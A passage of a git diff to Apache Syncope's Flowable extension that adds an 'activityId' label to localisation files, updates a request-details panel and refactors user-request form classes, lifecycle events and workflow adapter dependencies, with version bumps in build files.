    diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.properties b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.properties index 61a1f703f38..17cc65dccff 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.properties +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.properties @@ -17,8 +17,9 @@ user.requests.accordion=${bpmnProcess} (${activityId}) bpmn.process.title=Requests submit=Submit -executionId=Execution ID +executionId=Execution Id startTime=Start time delete=Delete start=Start requests.to.be.approved=Your active requests +activityId=Activity Id diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_it.properties b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_it.properties index 5f11651a868..aba7051a6d2 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_it.properties +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_it.properties @@ -17,8 +17,9 @@ user.requests.accordion=${bpmnProcess} (${activityId}) bpmn.process.title=Richieste submit=Salva -executionId=Execution ID +executionId=Id esecuzione startTime=Eseguito il delete=Cancella start=Esegui requests.to.be.approved=Richieste in lavorazione +activityId=Id attivit\u00e0 diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ja.properties b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ja.properties index 64bcf41d230..2a8e4033b7b 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ja.properties +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ja.properties @@ -22,3 +22,4 @@ startTime=\u59cb\u307e\u308b\u6642\u9593 delete=\u30af\u30ea\u30a2 start=\u958b\u59cb requests.to.be.approved=\u3042\u306a\u305f\u306e\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u30ea\u30af\u30a8\u30b9\u30c8 +activityId=Activity Id diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_pt_BR.properties b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_pt_BR.properties index 947d75efb6e..57b7d626835 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_pt_BR.properties +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_pt_BR.properties @@ -17,8 +17,9 @@ user.requests.accordion=${bpmnProcess} (${activityId}) bpmn.process.title=Os pedidos submit=Enviar -executionId=Execution ID +executionId=Execution Id startTime=Hora de in\u00edcio delete=Limpa start=Come\u00e7ar requests.to.be.approved=Seus pedidos ativos +activityId=Activity Id diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ru.properties b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ru.properties index 5dba97663f7..87cfaccc4ac 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ru.properties +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable_ru.properties @@ -22,3 +22,4 @@ startTime=\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0440\u0 delete=\u0440\u0430\u0441\u0441\u0435\u0435\u0442\u0441\u044f start=\u041d\u0430\u0447\u043d\u0438\u0442\u0435 requests.to.be.approved=\u0412\u0430\u0448\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b +activityId=Activity Id diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/panels/UserRequestDetails.html b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/panels/UserRequestDetails.html index c7151179966..ac1b54bc2c2 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/panels/UserRequestDetails.html +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/panels/UserRequestDetails.html @@ -21,6 +21,7 @@
    +
    @@ -29,10 +30,26 @@
    - - : - : + + + + + + + + + + + + + + + + + +
    +     diff --git a/ext/flowable/common-lib/pom.xml b/ext/flowable/common-lib/pom.xml index 58a9fe05605..660f531c3c2 100644 --- a/ext/flowable/common-lib/pom.xml +++ b/ext/flowable/common-lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable Common Lib diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequest.java b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequest.java index 229859cb81b..cb0212b06be 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequest.java +++ b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequest.java @@ -18,26 +18,16 @@ */ package org.apache.syncope.common.lib.to; -import com.fasterxml.jackson.annotation.JsonProperty; -import com.fasterxml.jackson.annotation.JsonPropertyOrder; -import com.fasterxml.jackson.annotation.JsonTypeInfo; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import java.util.Date; import java.util.Optional; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; import org.apache.syncope.common.lib.BaseBean; -@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.EXISTING_PROPERTY, property = "_class") -@JsonPropertyOrder(value = { "_class", "bpmnProcess" }) public class UserRequest implements BaseBean { private static final long serialVersionUID = -8430826310789942133L; - @JacksonXmlProperty(localName = "_class", isAttribute = true) - @JsonProperty("_class") - private final String clazz = "org.apache.syncope.common.lib.to.UserRequest"; - private String bpmnProcess; private Date startTime; diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestForm.java b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestForm.java index 7a6d76918aa..5f51fe5a8e4 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestForm.java +++ b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestForm.java @@ -18,31 +18,17 @@ */ package org.apache.syncope.common.lib.to; -import com.fasterxml.jackson.annotation.JsonIgnore; -import com.fasterxml.jackson.annotation.JsonProperty; -import com.fasterxml.jackson.annotation.JsonPropertyOrder; -import com.fasterxml.jackson.annotation.JsonTypeInfo; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.util.ArrayList; import java.util.Date; -import java.util.List; import java.util.Optional; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; -import org.apache.syncope.common.lib.BaseBean; +import org.apache.syncope.common.lib.form.SyncopeForm; import org.apache.syncope.common.lib.request.UserUR; -@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.EXISTING_PROPERTY, property = "_class") -@JsonPropertyOrder(value = { "_class", "bpmnProcess" }) -public class UserRequestForm implements BaseBean { +public class UserRequestForm extends SyncopeForm { private static final long serialVersionUID = -7044543391316529128L; - @JacksonXmlProperty(localName = "_class", isAttribute = true) - @JsonProperty("_class") - private final String clazz = "org.apache.syncope.common.lib.to.UserRequestForm"; - private String bpmnProcess; private String username; @@ -63,8 +49,6 @@ public class UserRequestForm implements BaseBean { private UserUR userUR; - private final List properties = new ArrayList<>(); - public String getBpmnProcess() { return bpmnProcess; } @@ -145,20 +129,10 @@ public void setUserUR(final UserUR userUR) { this.userUR = userUR; } - @JsonIgnore - public Optional getProperty(final String id) { - return properties.stream().filter(property -> id.equals(property.getId())).findFirst(); - } - - @JacksonXmlElementWrapper(localName = "properties") - @JacksonXmlProperty(localName = "property") - public List getProperties() { - return properties; - } - @Override public int hashCode() { return new HashCodeBuilder(). + appendSuper(super.hashCode()). append(bpmnProcess). append(username). append(executionId). @@ -169,7 +143,6 @@ public int hashCode() { append(assignee). append(userTO). append(userUR). - append(properties). build(); } @@ -186,6 +159,7 @@ public boolean equals(final Object obj) { } UserRequestForm other = (UserRequestForm) obj; return new EqualsBuilder(). + appendSuper(super.equals(obj)). append(bpmnProcess, other.bpmnProcess). append(username, other.username). append(executionId, other.executionId). @@ -196,7 +170,6 @@ public boolean equals(final Object obj) { append(assignee, other.assignee). append(userTO, other.userTO). append(userUR, other.userUR). - append(properties, other.properties). build(); } } diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/WorkflowTaskExecInput.java b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/WorkflowTaskExecInput.java index b90381854e8..65f3a7ac5b8 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/WorkflowTaskExecInput.java +++ b/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/WorkflowTaskExecInput.java @@ -21,7 +21,6 @@ import java.io.Serializable; import java.util.HashMap; import java.util.Map; -import javax.ws.rs.PathParam; public class WorkflowTaskExecInput implements Serializable { @@ -35,7 +34,6 @@ public String getUserKey() { return userKey; } - @PathParam("userKey") public void setUserKey(final String userKey) { this.userKey = userKey; } diff --git a/ext/flowable/common-lib/src/test/java/org/apache/syncope/common/lib/to/SerializationTest.java b/ext/flowable/common-lib/src/test/java/org/apache/syncope/common/lib/to/SerializationTest.java index eb7e2f06f2e..d4f1fc8006d 100644 --- a/ext/flowable/common-lib/src/test/java/org/apache/syncope/common/lib/to/SerializationTest.java +++ b/ext/flowable/common-lib/src/test/java/org/apache/syncope/common/lib/to/SerializationTest.java @@ -27,9 +27,11 @@ import java.util.Date; import java.util.UUID; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.common.lib.form.FormPropertyValue; import org.apache.syncope.common.lib.request.AttrPatch; import org.apache.syncope.common.lib.request.UserUR; -import org.apache.syncope.common.lib.types.UserRequestFormPropertyType; import org.junit.jupiter.api.Test; public abstract class SerializationTest { @@ -54,14 +56,14 @@ public void userRequestForm() throws IOException { userUR.getPlainAttrs().add(new AttrPatch.Builder(new Attr.Builder("schema1").value("value1").build()).build()); form.setUserUR(userUR); - UserRequestFormProperty property = new UserRequestFormProperty(); + FormProperty property = new FormProperty(); property.setId("printMode"); property.setName("Preferred print mode"); - property.setType(UserRequestFormPropertyType.Dropdown); + property.setType(FormPropertyType.Dropdown); property.getDropdownValues().add( - new UserRequestFormPropertyValue("8559d14d-58c2-46eb-a2d4-a7d35161e8f8", "value1")); + new FormPropertyValue("8559d14d-58c2-46eb-a2d4-a7d35161e8f8", "value1")); property.getDropdownValues().add( - new UserRequestFormPropertyValue(UUID.randomUUID().toString(), "value2 / value3")); + new FormPropertyValue(UUID.randomUUID().toString(), "value2 / value3")); form.getProperties().add(property); PagedResult original = new PagedResult<>(); @@ -72,9 +74,8 @@ public void userRequestForm() throws IOException { StringWriter writer = new StringWriter(); objectMapper().writeValue(writer, original); - PagedResult actual = objectMapper().readValue(writer.toString(), - new TypeReference<>() { - }); + PagedResult actual = objectMapper().readValue(writer.toString(), new TypeReference<>() { + }); assertEquals(original, actual); } } diff --git a/ext/flowable/flowable-bpmn/pom.xml b/ext/flowable/flowable-bpmn/pom.xml index 0448ffdfaca..b941c607a1a 100644 --- a/ext/flowable/flowable-bpmn/pom.xml +++ b/ext/flowable/flowable-bpmn/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable BPMN diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/FlowableWorkflowContext.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/FlowableWorkflowContext.java index 78de3152437..0866e0b87ae 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/FlowableWorkflowContext.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/FlowableWorkflowContext.java @@ -40,10 +40,13 @@ import org.apache.syncope.core.flowable.task.Reactivate; import org.apache.syncope.core.flowable.task.Suspend; import org.apache.syncope.core.flowable.task.Update; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; import org.apache.syncope.core.provisioning.api.notification.NotificationManager; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; import org.flowable.common.engine.impl.AbstractEngineConfiguration; @@ -139,6 +142,7 @@ public SpringProcessEngineConfiguration processEngineConfiguration( final IdGenerator idGenerator, final SyncopeEntitiesVariableType syncopeEntitiesVariableType, final SyncopeFormHandlerHelper syncopeFormHandlerHelper) { + SpringProcessEngineConfiguration conf = new SpringProcessEngineConfiguration(); conf.setDatabaseSchemaUpdate(AbstractEngineConfiguration.DB_SCHEMA_UPDATE_TRUE); conf.setJpaHandleTransaction(true); @@ -169,7 +173,11 @@ public Resource userWorkflowDef(final WorkflowFlowableProperties props, public UserWorkflowAdapter uwfAdapter( final UserDataBinder userDataBinder, final UserDAO userDAO, + final RealmDAO realmDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, + final SecurityProperties securityProperties, + final RuleEnforcer ruleEnforcer, final DomainProcessEngine engine, final UserRequestHandler userRequestHandler, final ApplicationEventPublisher publisher) { @@ -177,7 +185,11 @@ public UserWorkflowAdapter uwfAdapter( return new FlowableUserWorkflowAdapter( userDataBinder, userDAO, + realmDAO, + groupDAO, entityFactory, + securityProperties, + ruleEnforcer, engine, userRequestHandler, publisher); diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/UserRequestHandler.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/UserRequestHandler.java index 94a80a07179..f1004070572 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/UserRequestHandler.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/api/UserRequestHandler.java @@ -25,10 +25,10 @@ import org.apache.syncope.common.lib.to.UserRequestForm; import org.apache.syncope.common.lib.to.WorkflowTaskExecInput; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; -import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.flowable.engine.runtime.ProcessInstance; import org.springframework.transaction.event.TransactionalEventListener; @@ -85,7 +85,7 @@ Pair> getUserRequests( * @param event delete event */ @TransactionalEventListener - void cancelByUser(AnyLifecycleEvent> event); + void cancelByUser(EntityLifecycleEvent event); /** * Get the form matching the provided task id. diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableBpmnProcessManager.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableBpmnProcessManager.java index 8be0161943e..4225aad6a96 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableBpmnProcessManager.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableBpmnProcessManager.java @@ -26,7 +26,6 @@ import java.io.OutputStream; import java.util.List; import java.util.stream.Collectors; -import org.apache.commons.io.IOUtils; import org.apache.syncope.common.lib.to.BpmnProcess; import org.apache.syncope.common.lib.types.BpmnProcessFormat; import org.apache.syncope.core.flowable.api.BpmnProcessManager; @@ -116,7 +115,7 @@ protected void exportProcessModel(final String key, final OutputStream os) { protected void exportProcessResource(final String deploymentId, final String resourceName, final OutputStream os) { try (InputStream procDefIS = engine.getRepositoryService().getResourceAsStream(deploymentId, resourceName)) { - IOUtils.copy(procDefIS, os); + procDefIS.transferTo(os); } catch (IOException e) { LOG.error("While exporting {}", resourceName, e); } diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableDeployUtils.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableDeployUtils.java index 827e5965890..45abc4fb554 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableDeployUtils.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableDeployUtils.java @@ -62,8 +62,8 @@ public static Deployment deployDefinition( public static void deployModel(final ProcessEngine engine, final ProcessDefinition procDef) { XMLStreamReader xtr = null; try (InputStream bpmnStream = engine.getRepositoryService(). - getResourceAsStream(procDef.getDeploymentId(), procDef.getResourceName()); InputStreamReader isr = - new InputStreamReader(bpmnStream)) { + getResourceAsStream(procDef.getDeploymentId(), procDef.getResourceName()); + InputStreamReader isr = new InputStreamReader(bpmnStream);) { xtr = XML_INPUT_FACTORY.createXMLStreamReader(isr); BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr); diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserRequestHandler.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserRequestHandler.java index 1ab103551e1..82b918951a8 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserRequestHandler.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserRequestHandler.java @@ -29,35 +29,34 @@ import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.common.lib.form.FormPropertyValue; import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.UserRequest; import org.apache.syncope.common.lib.to.UserRequestForm; -import org.apache.syncope.common.lib.to.UserRequestFormProperty; -import org.apache.syncope.common.lib.to.UserRequestFormPropertyValue; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.to.WorkflowTaskExecInput; import org.apache.syncope.common.lib.types.ResourceOperation; -import org.apache.syncope.common.lib.types.UserRequestFormPropertyType; import org.apache.syncope.core.flowable.api.DropdownValueProvider; import org.apache.syncope.core.flowable.api.UserRequestHandler; import org.apache.syncope.core.flowable.support.DomainProcessEngine; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; -import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; import org.apache.syncope.core.spring.ApplicationContextProvider; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.workflow.api.WorkflowException; import org.flowable.common.engine.api.FlowableException; import org.flowable.common.engine.api.FlowableIllegalArgumentException; -import org.flowable.engine.form.FormProperty; import org.flowable.engine.form.FormType; import org.flowable.engine.form.TaskFormData; import org.flowable.engine.history.HistoricActivityInstance; @@ -266,12 +265,12 @@ public void cancelByProcessDefinition(final String processDefinitionId) { } @Override - public void cancelByUser(final AnyLifecycleEvent> event) { + public void cancelByUser(final EntityLifecycleEvent event) { if (AuthContextUtils.getDomain().equals(event.getDomain()) && event.getType() == SyncDeltaType.DELETE - && event.getAny() instanceof User) { + && event.getEntity() instanceof User) { - User user = (User) event.getAny(); + User user = (User) event.getEntity(); engine.getRuntimeService().createNativeProcessInstanceQuery(). sql(createProcessInstanceQuery(user.getKey()).toString()). list().forEach(procInst -> engine.getRuntimeService().deleteProcessInstance( @@ -279,33 +278,33 @@ public void cancelByUser(final AnyLifecycleEvent> event) { } } - protected static UserRequestFormPropertyType fromFlowableFormType(final FormType flowableFormType) { - UserRequestFormPropertyType result = UserRequestFormPropertyType.String; + protected static FormPropertyType fromFlowableFormType(final FormType flowableFormType) { + FormPropertyType result = FormPropertyType.String; if (null != flowableFormType.getName()) { switch (flowableFormType.getName()) { case "long": - result = UserRequestFormPropertyType.Long; + result = FormPropertyType.Long; break; case "enum": - result = UserRequestFormPropertyType.Enum; + result = FormPropertyType.Enum; break; case "date": - result = UserRequestFormPropertyType.Date; + result = FormPropertyType.Date; break; case "boolean": - result = UserRequestFormPropertyType.Boolean; + result = FormPropertyType.Boolean; break; case "dropdown": - result = UserRequestFormPropertyType.Dropdown; + result = FormPropertyType.Dropdown; break; case "password": - result = UserRequestFormPropertyType.Password; + result = FormPropertyType.Password; break; case "string": @@ -395,7 +394,7 @@ protected UserRequestForm getHistoricFormTO( getVariable(procInstId, FlowableRuntimeUtils.USER_UR, UserUR.class)); formTO.getProperties().addAll(props.stream().map(prop -> { - UserRequestFormProperty propertyTO = new UserRequestFormProperty(); + FormProperty propertyTO = new FormProperty(); propertyTO.setId(prop.getPropertyId()); propertyTO.setName(prop.getPropertyId()); propertyTO.setValue(prop.getPropertyValue()); @@ -410,7 +409,7 @@ protected UserRequestForm getForm( final String procInstId, final String taskId, final String formKey, - final List props) { + final List props) { UserRequestForm formTO = new UserRequestForm(); @@ -432,7 +431,7 @@ protected UserRequestForm getForm( getVariable(procInstId, FlowableRuntimeUtils.USER_UR, UserUR.class)); formTO.getProperties().addAll(props.stream().map(fProp -> { - UserRequestFormProperty propertyTO = new UserRequestFormProperty(); + FormProperty propertyTO = new FormProperty(); propertyTO.setId(fProp.getId()); propertyTO.setName(fProp.getName()); propertyTO.setReadable(fProp.isReadable()); @@ -446,9 +445,8 @@ protected UserRequestForm getForm( break; case Enum: - ((Map) fProp.getType().getInformation("values")).forEach((key, value) -> { - propertyTO.getEnumValues().add(new UserRequestFormPropertyValue(key, value)); - }); + ((Map) fProp.getType().getInformation("values")). + forEach((key, value) -> propertyTO.getEnumValues().add(new FormPropertyValue(key, value))); break; case Dropdown: @@ -456,9 +454,8 @@ protected UserRequestForm getForm( try { DropdownValueProvider valueProvider = ApplicationContextProvider.getApplicationContext(). getBean(valueProviderBean, DropdownValueProvider.class); - valueProvider.getValues().forEach((key, value) -> { - propertyTO.getDropdownValues().add(new UserRequestFormPropertyValue(key, value)); - }); + valueProvider.getValues().forEach((key, value) -> propertyTO.getDropdownValues().add( + new FormPropertyValue(key, value))); } catch (Exception e) { LOG.error("Could not find bean {} of type {} for form property {}", valueProviderBean, DropdownValueProvider.class.getName(), propertyTO.getId(), e); @@ -638,7 +635,7 @@ public UserRequestForm unclaimForm(final String taskId) { protected Map getPropertiesForSubmit(final UserRequestForm form) { Map props = new HashMap<>(); form.getProperties().stream(). - filter(UserRequestFormProperty::isWritable). + filter(FormProperty::isWritable). forEach(prop -> props.put(prop.getId(), prop.getValue())); return Collections.unmodifiableMap(props); } diff --git a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java index 5232b42c0a6..6470e8c0b4b 100644 --- a/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java +++ b/ext/flowable/flowable-bpmn/src/main/java/org/apache/syncope/core/flowable/impl/FlowableUserWorkflowAdapter.java @@ -35,14 +35,18 @@ import org.apache.syncope.core.flowable.api.UserRequestHandler; import org.apache.syncope.core.flowable.api.WorkflowTaskManager; import org.apache.syncope.core.flowable.support.DomainProcessEngine; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.UserWorkflowResult; import org.apache.syncope.core.provisioning.api.data.UserDataBinder; -import org.apache.syncope.core.provisioning.api.event.AnyLifecycleEvent; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.SecurityProperties; import org.apache.syncope.core.workflow.api.WorkflowException; import org.apache.syncope.core.workflow.java.AbstractUserWorkflowAdapter; import org.flowable.bpmn.model.FlowElement; @@ -62,20 +66,21 @@ public class FlowableUserWorkflowAdapter extends AbstractUserWorkflowAdapter imp protected final UserRequestHandler userRequestHandler; - protected final ApplicationEventPublisher publisher; - public FlowableUserWorkflowAdapter( final UserDataBinder dataBinder, final UserDAO userDAO, + final RealmDAO realmDAO, + final GroupDAO groupDAO, final EntityFactory entityFactory, + final SecurityProperties securityProperties, + final RuleEnforcer ruleEnforcer, final DomainProcessEngine engine, final UserRequestHandler userRequestHandler, final ApplicationEventPublisher publisher) { - super(dataBinder, userDAO, entityFactory); + super(dataBinder, userDAO, realmDAO, groupDAO, entityFactory, securityProperties, ruleEnforcer, publisher); this.engine = engine; this.userRequestHandler = userRequestHandler; - this.publisher = publisher; } @Override @@ -142,17 +147,12 @@ protected UserWorkflowResult> doCreate( user.setSuspended(!updatedEnabled); } - // this will make UserValidator not to consider password policies at all - if (disablePwdPolicyCheck) { - user.removeClearPassword(); - } - metadata(user, creator, context); FlowableRuntimeUtils.updateStatus(engine, procInst.getProcessInstanceId(), user); User created = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.CREATE, created, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.CREATE, created, AuthContextUtils.getDomain())); engine.getRuntimeService().updateBusinessKey( procInst.getProcessInstanceId(), FlowableRuntimeUtils.getWFProcBusinessKey(created.getKey())); @@ -246,7 +246,7 @@ protected UserWorkflowResult doActivate( User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); variables.keySet().forEach(key -> engine.getRuntimeService().removeVariable(procInstID, key)); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.USER); @@ -285,7 +285,7 @@ protected UserWorkflowResult> doUpdate( User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.USER); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.WF_EXECUTOR); @@ -325,6 +325,13 @@ protected UserWorkflowResult> doUpdate( Optional.ofNullable(propByResBeforeUpdate).orElse(propByRes), Optional.ofNullable(propByLinkedAccountBeforeUpdate).orElse(propByLinkedAccount)); + if (inFormTask) { + @SuppressWarnings("unchecked") + PropagationByResource propByResAfterForm = engine.getRuntimeService().getVariable( + procInstID, FlowableRuntimeUtils.PROP_BY_RESOURCE, PropagationByResource.class); + propByRes = propByResAfterForm; + } + Boolean propagateEnable = engine.getRuntimeService().getVariable( procInstID, FlowableRuntimeUtils.PROPAGATE_ENABLE, Boolean.class); engine.getRuntimeService().removeVariable(procInstID, FlowableRuntimeUtils.PROPAGATE_ENABLE); @@ -344,7 +351,7 @@ protected UserWorkflowResult doSuspend(final User user, final String upd User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); @SuppressWarnings("unchecked") PropagationByResource propByRes = engine.getRuntimeService().getVariable( @@ -377,7 +384,7 @@ protected UserWorkflowResult doReactivate(final User user, final String User updated = userDAO.save(user); publisher.publishEvent( - new AnyLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); + new EntityLifecycleEvent<>(this, SyncDeltaType.UPDATE, updated, AuthContextUtils.getDomain())); @SuppressWarnings("unchecked") PropagationByResource propByRes = engine.getRuntimeService().getVariable( @@ -402,8 +409,8 @@ protected UserWorkflowResult 